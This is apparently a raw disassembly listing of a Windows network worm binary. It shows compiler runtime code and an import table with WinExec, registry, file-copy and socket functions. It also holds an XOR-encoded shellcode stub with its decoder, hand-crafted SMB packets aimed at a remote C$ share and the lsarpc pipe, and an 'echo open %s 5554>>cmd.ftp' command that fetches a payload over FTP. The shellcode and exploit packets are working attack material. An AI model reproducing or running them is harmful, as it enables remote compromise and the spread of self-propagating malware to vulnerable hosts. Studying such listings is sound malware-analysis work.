off_404A4C	dd offset loc_404AAF	; DATA XREF: sub_404970:loc_4049CCr
		dd offset loc_404A9C
		dd offset loc_404A94
		dd offset loc_404A8C
		dd offset loc_404A84
		dd offset loc_404A7C
		dd offset loc_404A74
		dd offset loc_404A6C
; ---------------------------------------------------------------------------


loc_404A6C:				; CODE XREF: sub_404970:loc_4049CCj
					; DATA XREF: sub_404970+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_404A74:				; CODE XREF: sub_404970:loc_4049CCj
					; DATA XREF: sub_404970+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_404A7C:				; CODE XREF: sub_404970:loc_4049CCj
					; DATA XREF: sub_404970+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_404A84:				; CODE XREF: sub_404970:loc_4049CCj
					; DATA XREF: sub_404970+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_404A8C:				; CODE XREF: sub_404970:loc_4049CCj
					; DATA XREF: sub_404970+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_404A94:				; CODE XREF: sub_404970:loc_4049CCj
					; DATA XREF: sub_404970+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_404A9C:				; CODE XREF: sub_404970:loc_4049CCj
					; DATA XREF: sub_404970+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_404AAF:				; CODE XREF: sub_404970:loc_4049CCj
					; DATA XREF: sub_404970:off_404A4Co
		jmp	off_404AB8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_404AB8	dd offset loc_404AC8	; DATA XREF: sub_404970+35r
					; sub_404970+92r ...
		dd offset loc_404AD0
		dd offset loc_404ADC
		dd offset loc_404AF0
; ---------------------------------------------------------------------------


loc_404AC8:				; CODE XREF: sub_404970+35j
					; sub_404970+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_404AD0:				; CODE XREF: sub_404970+35j
					; sub_404970+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_404ADC:				; CODE XREF: sub_404970+35j
					; sub_404970+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_404AF0:				; CODE XREF: sub_404970+35j
					; sub_404970+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_404B08:				; CODE XREF: sub_404970+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_404B3C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_404B30
		std
		rep movsd
		cld
		jmp	off_404C50[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_404B30:				; CODE XREF: sub_404970+1B1j
					; sub_404970+208j ...
		neg	ecx
		jmp	off_404C00[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_404B3C:				; CODE XREF: sub_404970+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_404B54
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_404B54+4[eax*4]
; ---------------------------------------------------------------------------


loc_404B54:				; CODE XREF: sub_404970+1D6j
					; DATA XREF: sub_404970+1DDr
		jmp	off_404C50[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_404B67+1
		dd offset loc_404B88
; ---------------------------------------------------------------------------
		mov	al, 4Bh
		inc	eax


loc_404B67:				; DATA XREF: sub_404970+1ECo
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_404B30
		std
		rep movsd
		cld
		jmp	off_404C50[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_404B88:				; DATA XREF: sub_404970+1F0o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_404B30
		std
		rep movsd
		cld
		jmp	off_404C50[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_404B30
		std
		rep movsd
		cld
		jmp	off_404C50[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_404C04
		dd offset loc_404C0C
		dd offset loc_404C14
		dd offset loc_404C1C
		dd offset loc_404C24
		dd offset loc_404C2C
		dd offset loc_404C34
off_404C00	dd offset loc_404C47	; DATA XREF: sub_404970+1C2r
; ---------------------------------------------------------------------------


loc_404C04:				; DATA XREF: sub_404970+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_404C0C:				; DATA XREF: sub_404970+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_404C14:				; DATA XREF: sub_404970+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_404C1C:				; DATA XREF: sub_404970+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_404C24:				; DATA XREF: sub_404970+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_404C2C:				; DATA XREF: sub_404970+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_404C34:				; DATA XREF: sub_404970+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_404C47:				; CODE XREF: sub_404970+1C2j
					; DATA XREF: sub_404970:off_404C00o
		jmp	off_404C50[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_404C50	dd offset loc_404C60	; DATA XREF: sub_404970+1B7r
					; sub_404970:loc_404B54r ...
		dd offset loc_404C68
		dd offset loc_404C78
		dd offset loc_404C8C
; ---------------------------------------------------------------------------


loc_404C60:				; CODE XREF: sub_404970+1B7j
					; sub_404970:loc_404B54j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_404C68:				; CODE XREF: sub_404970+1B7j
					; sub_404970:loc_404B54j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_404C78:				; CODE XREF: sub_404970+1B7j
					; sub_404970:loc_404B54j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_404C8C:				; CODE XREF: sub_404970+1B7j
					; sub_404970:loc_404B54j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_404970	endp

; ---------------------------------------------------------------------------
		align 2

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_404CA6	proc near		; CODE XREF: sub_4033C0+13p
		jmp	dword_405080
sub_404CA6	endp

; ---------------------------------------------------------------------------
		dd 0D5h	dup(0)
dword_405000	dd 77E34D78h	; resolved to->ADVAPI32.AbortSystemShutdownAdword_405004	dd 77DFC41Bh	; resolved to->ADVAPI32.RegOpenKeyAdword_405008	dd 77DDEBE7h	; resolved to->ADVAPI32.RegSetValueExAdword_40500C	dd 77DD6BF0h	; resolved to->ADVAPI32.RegCloseKey		dd 0
dword_405014	dd 7C801D77h	; resolved to->KERNEL32.LoadLibraryAdword_405018	dd 7C80BE01h	; resolved to->KERNEL32.lstrcpyA					; sub_40127D+8Fr ...
dword_40501C	dd 7C834E64h	; resolved to->KERNEL32._lclose					; sub_401B08+2ABr
dword_405020	dd 7C838AE7h	; resolved to->KERNEL32._lwritedword_405024	dd 7C8365A5h	; resolved to->KERNEL32._lcreatdword_405028	dd 7C802442h	; resolved to->KERNEL32.Sleep					; sub_40159E+4D0r ...
dword_40502C	dd 7C8353CEh	; resolved to->KERNEL32._lreaddword_405030	dd 7C85E830h	; resolved to->KERNEL32._lopendword_405034	dd 7C80B4CFh	; resolved to->KERNEL32.GetModuleFileNameA					; sub_401EF0+F8r ...
dword_405038	dd 7C810637h	; resolved to->KERNEL32.CreateThread					; sub_402029:loc_402095r
dword_40503C	dd 7C86136Dh	; resolved to->KERNEL32.WinExecdword_405040	dd 7C910331h	; resolved to->NTDLL.RtlGetLastWin32Errordword_405044	dd 7C80929Ch	; resolved to->KERNEL32.GetTickCountdword_405048	dd 7C80E93Fh	; resolved to->KERNEL32.CreateMutexAdword_40504C	dd 7C8286EEh	; resolved to->KERNEL32.CopyFileAdword_405050	dd 7C821363h	; resolved to->KERNEL32.GetWindowsDirectoryAdword_405054	dd 7C80ADA0h	; resolved to->KERNEL32.GetProcAddressdword_405058	dd 7C9179FDh	; resolved to->NTDLL.RtlReAllocateHeapdword_40505C	dd 7C809A51h	; resolved to->KERNEL32.VirtualAlloc					; sub_404478+51r
dword_405060	dd 7C9105D4h	; resolved to->NTDLL.RtlAllocateHeap					; sub_403D2A+Dr ...
dword_405064	dd 7C8127A7h	; resolved to->KERNEL32.GetOEMCPdword_405068	dd 7C809915h	; resolved to->KERNEL32.GetACPdword_40506C	dd 7C812E76h	; resolved to->KERNEL32.GetCPInfo					; sub_403AE6+14r
dword_405070	dd 7C80A490h	; resolved to->KERNEL32.GetStringTypeW					; sub_40371C+12Dr
dword_405074	dd 7C838A0Ch	; resolved to->KERNEL32.GetStringTypeA					; sub_40371C+8Dr
dword_405078	dd 7C809BF8h	; resolved to->KERNEL32.MultiByteToWideChar					; sub_40371C+11Br ...
dword_40507C	dd 7C810D87h	; resolved to->KERNEL32.WriteFiledword_405080	dd 7C937A40h	; resolved to->NTDLL.RtlUnwinddword_405084	dd 7C91043Dh	; resolved to->NTDLL.RtlFreeHeap					; sub_403D93+2C4r ...
dword_405088	dd 7C809AE4h	; resolved to->KERNEL32.VirtualFreedword_40508C	dd 7C812BB6h	; resolved to->KERNEL32.HeapCreatedword_405090	dd 7C810EF8h	; resolved to->KERNEL32.HeapDestroydword_405094	dd 7C810E51h	; resolved to->KERNEL32.GetFileType					; sub_4031D7+166r
dword_405098	dd 7C80CCA8h	; resolved to->KERNEL32.LCMapStringW					; sub_4046FE+14Dr ...
dword_40509C	dd 7C838DE8h	; resolved to->KERNEL32.LCMapStringA					; sub_4046FE+A7r
dword_4050A0	dd 7C80B6A1h	; resolved to->KERNEL32.GetModuleHandleAdword_4050A4	dd 7C801EEEh	; resolved to->KERNEL32.GetStartupInfoA					; sub_4031D7+59r
dword_4050A8	dd 7C812F1Dh	; resolved to->KERNEL32.GetCommandLineAdword_4050AC	dd 7C8111DAh	; resolved to->KERNEL32.GetVersiondword_4050B0	dd 7C81CDDAh	; resolved to->KERNEL32.ExitProcess					; sub_402B10+91r
dword_4050B4	dd 7C801E16h	; resolved to->KERNEL32.TerminateProcessdword_4050B8	dd 7C80DDF5h	; resolved to->KERNEL32.GetCurrentProcessdword_4050BC	dd 7C862E2Ah	; resolved to->KERNEL32.UnhandledExceptionFilterdword_4050C0	dd 7C81DF77h	; resolved to->KERNEL32.FreeEnvironmentStringsAdword_4050C4	dd 7C814AE7h	; resolved to->KERNEL32.FreeEnvironmentStringsWdword_4050C8	dd 7C80A0D4h	; resolved to->KERNEL32.WideCharToMultiByte					; sub_4046FE+20Dr
dword_4050CC	dd 7C81CF5Bh	; resolved to->KERNEL32.GetEnvironmentStringsA					; sub_4030A5+E1r
dword_4050D0	dd 7C812F08h	; resolved to->KERNEL32.GetEnvironmentStringsWdword_4050D4	dd 7C80CC97h	; resolved to->KERNEL32.SetHandleCountdword_4050D8	dd 7C812F39h	; resolved to->KERNEL32.GetStdHandle					; sub_4035C9+143r
		align 10h
dword_4050E0	dd 7E41A8ADh	; resolved to->USER32.wsprintfA					; sub_40127D+B7r ...
		align 8
dword_4050E8	dd 71AC1028h	; resolved to->WS2_32.acceptdword_4050EC	dd 71AB615Ah	; resolved to->WS2_32.recv					; sub_40159E+2DDr ...
dword_4050F0	dd 71AB428Ah	; resolved to->WS2_32.send					; sub_401398+151r ...
dword_4050F4	dd 71AB2B66h	; resolved to->WS2_32.ntohs					; sub_40127D+27r ...
dword_4050F8	dd 71AB3B91h	; resolved to->WS2_32.socket					; sub_40127D+51r ...
dword_4050FC	dd 71AB406Ah	; resolved to->WS2_32.connect					; sub_40127D+6Cr ...
dword_405100	dd 71AB88D3h	; resolved to->WS2_32.listendword_405104	dd 71AB50C8h	; resolved to->WS2_32.gethostnamedword_405108	dd 71AB3F41h	; resolved to->WS2_32.inet_ntoadword_40510C	dd 71AB2BF4h	; resolved to->WS2_32.inet_addr					; sub_4011D5+7r ...
dword_405110	dd 71AB4FD4h	; resolved to->WS2_32.gethostbyname					; sub_4011D5+1Er ...
dword_405114	dd 71AB664Dh	; resolved to->WS2_32.WSAStartupdword_405118	dd 71AB3E00h	; resolved to->WS2_32.binddword_40511C	dd 71AB9639h	; resolved to->WS2_32.closesocket					; sub_40127D+10Fr ...
		dd 2 dup(0)
dword_405128	dd 0FFFFFFFFh, 402915h,	402929h, 746E7572h, 20656D69h
					; DATA XREF: .text:00402843o
		dd 6F727265h, 2072h, 0A0Dh, 534F4C54h, 72652053h, 0D726F72h
		dd 0Ah,	474E4953h, 72726520h, 0A0D726Fh, 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
		dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
		dd 65682065h, 0A0D7061h, 0
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 4
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 10h
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 4
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 10h
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 10h
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 10h
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 10h
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 4
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: .text:off_406DA4o
		db '- floating point not loaded',0Dh,0Ah,0
		align 10h
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_4035C9+119o
		align 4
asc_4053E8	db 0Ah			; DATA XREF: sub_4035C9+F1o
		db 0Ah,0
		align 4
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_4035C9+D3o
		db 0Ah
		db 'Program: ',0
		align 4
a___		db '...',0              ; DATA XREF: sub_4035C9+BFo
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_4035C9+7Do
		align 4
dword_405424	dd 0							; sub_4046FE+36o
dword_405428	dd 0FFFFFFFFh, 403815h,	403819haGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_404573+3Do
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_404573+35o
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_404573+24o
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_404573+Do
		align 10h
dword_405470	dd 0FFFFFFFFh, 40480Eh,	404812h, 0FFFFFFFFh, 4048C2h, 4048C6h
					; DATA XREF: sub_4046FE+5o
		dd 55CCh, 2 dup(0)
		dd 561Ch, 50E0h, 5500h,	2 dup(0)
		dd 5714h, 5014h, 55D4h,	2 dup(0)
		dd 5722h, 50E8h, 54ECh,	2 dup(0)
		dd 5774h, 5000h, 5 dup(0)
		dd 77E34D78h, 77DFC41Bh, 77DDEBE7h, 77DD6BF0h, 0
		dd 7C801D77h, 7C80BE01h, 7C834E64h, 7C838AE7h, 7C8365A5h
		dd 7C802442h, 7C8353CEh, 7C85E830h, 7C80B4CFh, 7C810637h
		dd 7C86136Dh, 7C910331h, 7C80929Ch, 7C80E93Fh, 7C8286EEh
		dd 7C821363h, 7C80ADA0h, 7C9179FDh, 7C809A51h, 7C9105D4h
		dd 7C8127A7h, 7C809915h, 7C812E76h, 7C80A490h, 7C838A0Ch
		dd 7C809BF8h, 7C810D87h, 7C937A40h, 7C91043Dh, 7C809AE4h
		dd 7C812BB6h, 7C810EF8h, 7C810E51h, 7C80CCA8h, 7C838DE8h
		dd 7C80B6A1h, 7C801EEEh, 7C812F1Dh, 7C8111DAh, 7C81CDDAh
		dd 7C801E16h, 7C80DDF5h, 7C862E2Ah, 7C81DF77h, 7C814AE7h
		dd 7C80A0D4h, 7C81CF5Bh, 7C812F08h, 7C80CC97h, 7C812F39h
		dd 0
		dd 7E41A8ADh, 0
		dd 71AC1028h, 71AB615Ah, 71AB428Ah, 71AB2B66h, 71AB3B91h
		dd 71AB406Ah, 71AB88D3h, 71AB50C8h, 71AB3F41h, 71AB2BF4h
		dd 71AB4FD4h, 71AB664Dh, 71AB3E00h, 71AB9639h, 0
		dd 73770000h, 6E697270h, 416674h, 52455355h, 642E3233h
		dd 6C6Ch, 65470000h, 6F725074h,	64644163h, 73736572h, 0
aLoadlibrarya	db 'LoadLibraryA',0
		align 4
aLstrcpya	db 'lstrcpyA',0
		align 4
a_lclose	db '_lclose',0
		dd 6C5F0000h, 74697277h, 65h, 72636C5Fh, 746165h, 6C530000h
		dd 706565h, 6C5F0000h, 64616572h, 0
a_lopen		db '_lopen',0
		align 10h
		dd 65470000h, 646F4D74h, 46656C75h, 4E656C69h, 41656D61h
		dd 0
aCreatethread	db 'CreateThread',0
		align 4
aWinexec	db 'WinExec',0
		dd 65470000h, 73614C74h, 72724574h, 726Fh, 65470000h, 63695474h
		dd 756F436Bh, 746Eh, 72430000h,	65746165h, 6574754Dh, 4178h
		dd 6F430000h, 69467970h, 41656Ch, 65470000h, 6E695774h
		dd 73776F64h, 65726944h, 726F7463h, 4179h, 4E52454Bh, 32334C45h
		dd 6C6C642Eh, 53570000h, 32335F32h, 6C6C642Eh, 0
aAbortsystemshu	db 'AbortSystemShutdownA',0
		align 4
aRegclosekey	db 'RegCloseKey',0
		dd 65520000h, 74655367h, 756C6156h, 41784565h, 0
aRegopenkeya	db 'RegOpenKeyA',0
aAdvapi32_dll	db 'ADVAPI32.dll',0
		align 4
aGetmodulehandl	db 'GetModuleHandleA',0
		align 4
aGetstartupinfo	db 'GetStartupInfoA',0
		dd 65470000h, 6D6F4374h, 646E616Dh, 656E694Ch, 41h, 56746547h
		dd 69737265h, 6E6Fh, 78450000h,	72507469h, 7365636Fh, 73h
		dd 6D726554h, 74616E69h, 6F725065h, 73736563h, 0
aGetcurrentproc	db 'GetCurrentProcess',0
		align 10h
aUnhandledexcep	db 'UnhandledExceptionFilter',0
		align 4
aFreeenvironmen	db 'FreeEnvironmentStringsA',0
		dd 72460000h, 6E456565h, 6F726976h, 6E656D6Eh, 72745374h
		dd 73676E69h, 57h, 65646957h, 72616843h, 754D6F54h, 4269746Ch
		dd 657479h, 65470000h, 766E4574h, 6E6F7269h, 746E656Dh
		dd 69727453h, 73676Eh, 65470000h, 766E4574h, 6E6F7269h
		dd 746E656Dh, 69727453h, 5773676Eh, 0
aSethandlecount	db 'SetHandleCount',0
		align 4
		dd 65470000h, 64745374h, 646E6148h, 656Ch, 65470000h, 6C694674h
		dd 70795465h, 65h, 70616548h, 74736544h, 796F72h, 65480000h
		dd 72437061h, 65746165h, 0
aVirtualfree	db 'VirtualFree',0
		dd 65480000h, 72467061h, 6565h,	74520000h, 776E556Ch, 646E69h
		dd 72570000h, 46657469h, 656C69h, 754D0000h, 4269746Ch
		dd 54657479h, 6469576Fh, 61684365h, 72h, 53746547h, 6E697274h
		dd 70795467h, 4165h, 65470000h,	72745374h, 54676E69h, 57657079h
		dd 0
aGetcpinfo	db 'GetCPInfo',0
		align 4
aGetacp		db 'GetACP',0
		align 4
		dd 65470000h, 4D454F74h, 5043h,	65480000h, 6C417061h, 636F6Ch
		dd 69560000h, 61757472h, 6C6C416Ch, 636Fh, 65480000h, 65527061h
		dd 6F6C6C41h, 63h, 614D434Ch, 72745370h, 41676E69h, 0
aLcmapstringw	db 'LCMapStringW',0
		align 4
		dd 191h	dup(0)
dword_406000	dd 0		dword_406004	dd 0		dword_406008	dd 0				dd offset sub_403C6B
dword_406010	dd 0		dword_406014	dd 0		dword_406018	dd 0		dword_40601C	dd 0		dword_406020	dd 4 dup(0)	off_406030	dd offset aEchoOffEchoOpe ; DATA XREF: sub_40127D+AAr
					; "echo	off&echo open %s 5554>>cmd.ftp&ech"...
; ---------------------------------------------------------------------------


loc_406034:				; DATA XREF: sub_40159E+132o
					; sub_40159E+1ABo
		jmp	short loc_406046

; =============== S U B	R O U T	I N E =======================================



sub_406036	proc near		; CODE XREF: sub_406036:loc_406046p
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 17Dh


loc_40603E:				; CODE XREF: sub_406036+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_40603E
		jmp	short loc_40604B
; ---------------------------------------------------------------------------


loc_406046:				; CODE XREF: .text:loc_406034j
		call	sub_406036


loc_40604B:				; CODE XREF: sub_406036+Ej
		jo	short near ptr dword_4059BC+626h
		cwde
		cdq
		cdq
		retn
sub_406036	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0FDh, 38h, 0A9h
		dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
		dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh,	9AA612C8h
		dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
		dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
		dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
		dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh,	0F34112C3h
		dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
		dd 999B9E5Eh
dword_4060E4	dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh,	6DCE66CAh
					; DATA XREF: sub_40159E+102o
		dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh,	9D10C089h
		dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h
		dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h
		dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h,	5A59AA77h
		dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh
		dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h
		dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h
		dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h
		dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh
		dd 0FAF6EAFCh, 99EDFCF2h, 0
dword_4061CC	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: sub_401398+15Do
					; sub_40159E+2BDo
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_406258	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_401398+188o
					; sub_40159E+2ECo
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows2000219:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_0:
		unicode	0, <Windows 2000 5.0>,0
		align 10h
		dd 0
dword_406304	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_401398+1ADo
					; sub_40159E+315o
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_4063E4	dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_401398+53o
					; sub_40159E+57o
		dd 0FEFF0000h, 300800h,	5C00FF04h, 1000800h, 3100h, 5C005Ch
		dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h,	310032h
		dd 5C0030h, 500049h
aC:					; DATA XREF: sub_401398+85o
					; sub_40159E+89o
		unicode	0, <C$>,0
a?????		db '?????',0
		align 8
dword_406448	dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40159E+369o
		dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h,	0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 1103h,	6C005Ch, 610073h, 700072h, 63h
		dd 0
dword_4064B4	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40159E+392o
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_406558	dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40159E+3C8o
		dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
		dd 0A0005400h, 200540Ch, 2600h,	100CB140h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
		dd 3ECh, 0
off_4065D8	dd offset loc_401495	; DATA XREF: sub_40159E+3F6o
		dd 3, 40707Ch, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset dword_40707C
		dd 1, 0
		dd 1, 0
		dd offset dword_40707C
		dd 1, 0
		dd 1, 0
		dd offset dword_40707C
		dd 1, 0
		dd 1, 0
		dd 138578h, 0E9A65BABh,	0
dword_40666C	dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40159E+425o
		dd 0FEFF0800h, 600800h,	0DE00FF0Eh, 4000DEh, 0FF000000h
